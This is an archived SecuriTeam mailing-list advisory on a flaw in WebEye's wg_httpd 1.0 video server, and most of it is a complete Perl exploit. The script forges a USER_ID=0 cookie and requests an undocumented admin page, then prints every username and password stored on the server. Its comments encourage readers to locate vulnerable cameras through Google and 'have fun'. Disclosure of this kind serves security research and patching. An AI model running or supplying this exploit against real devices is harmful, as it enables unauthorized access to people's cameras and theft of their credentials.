[NEWS] WebEye User Disclosure Vulnerability (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 12/08/03

  • Next message: SecuriTeam: "[REVS] Sinit P2P Trojan Analysis"
    To: list@securiteam.com
    Date: 8 Dec 2003 10:21:32 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      WebEye User Disclosure Vulnerability (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

     
    <http://www.webgateinc.com/wg_htdocs/english/products/products_webeye_pro.html> WebEye "provides a quick and easy operation in accessing WebEye families (web cameras and web servers) that generates live images". A vulnerability in the product allows an attacker to gather a list of usernames and passwords configured in the server without needing any special privileges.

    DETAILS

    Vulnerable systems:
     * wg_httpd version 1.0 (based Boa version 0.92q)

    Exploit:
    #!/usr/bin/perl

    ####################################################################
    # Author: datapath
    # E-mail: datapath@softhome.net
    # Date: Dec 2003
    # 44c545672ac14e9e0f968b3affcd0740

    # WHAT IS THIS?
    # This is an exploit to retrieve all username and passwords from a
    # webeye video server.

    # REQUIREMENTS
    # It requires some perl libraries. If you dont have them already
    # installed, search cpan.org.

    # HOW DOES IT WORKS?
    # Well, its very simple, because the server provides a mechanism (not
    # documented) to retrieve all passwords! You can read the code below,
    # its short and simple.

    # If you think its fun, but dont know any webeye video server, just make a

    # search in Google. You will find a lot of them! Have fun!
    ###########################################################################

    use LWP::UserAgent;
    use HTTP::Cookies;

    $host=shift;
    $port=shift;

    if ($host eq "") {
      print "Usage: webeye-xp.pl <host name> [port]\n";
      exit;
    }
    if ($port eq "")
    {
     $port = "80";
    }

    my $browser = LWP::UserAgent->new();

    my $resp =
    $browser->get("http://$host\:$port/admin/wg_user-info.ml","Cookie","USER_ID=0; path=/;");

    # print "resp: $resp\n";

    $t = $resp->content;

    # print "t: $t\n";

    $i = index($t,"<tr");
    substr($t,0,$i+1,"");

    while ($i!=-1) {
      $i = index($t,"<tr");
      substr($t,0,$i+1,"");
      $i = index($t,"value=");
      substr($t,0,$i+7,"");
      $j = index($t,"\"");
      $user = substr($t,0,$j);
      if ($user =~ /Apply/) { print "\nHave fun!\n"; exit; }
      print "user: ".$user;
      $i = index($t,"value=");
      substr($t,0,$i+7,"");
      $j = index($t,"\"");
      print "\tpass: ".substr($t,0,$j)."\n";
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:datapath@softhome.net>
    datapath.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[REVS] Sinit P2P Trojan Analysis"

    Relevant Pages

    • [EXPL] phpBB Remote PHP Code Execution (viewtopic.php 2)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The following exploit code utilizes a vulnerability in phpBB to cause ... This bulletin is sent to members of the SecuriTeam mailing list. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [EXPL] TinyWeb Server DoS Exploit
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [EXPL] 3Com FTP Server Buffer Overflow (CD)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... overflow in its parsing of the 'CD' command. ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [TOOL] Automagic SQL Injector
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The Automagic SQL Injector is part of the Sec-1 Exploit Arsenal provided ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [NT] SHELL32.DLL Denial of Service
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... As a user browses through his hard-drive, Windows automatically analyses ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)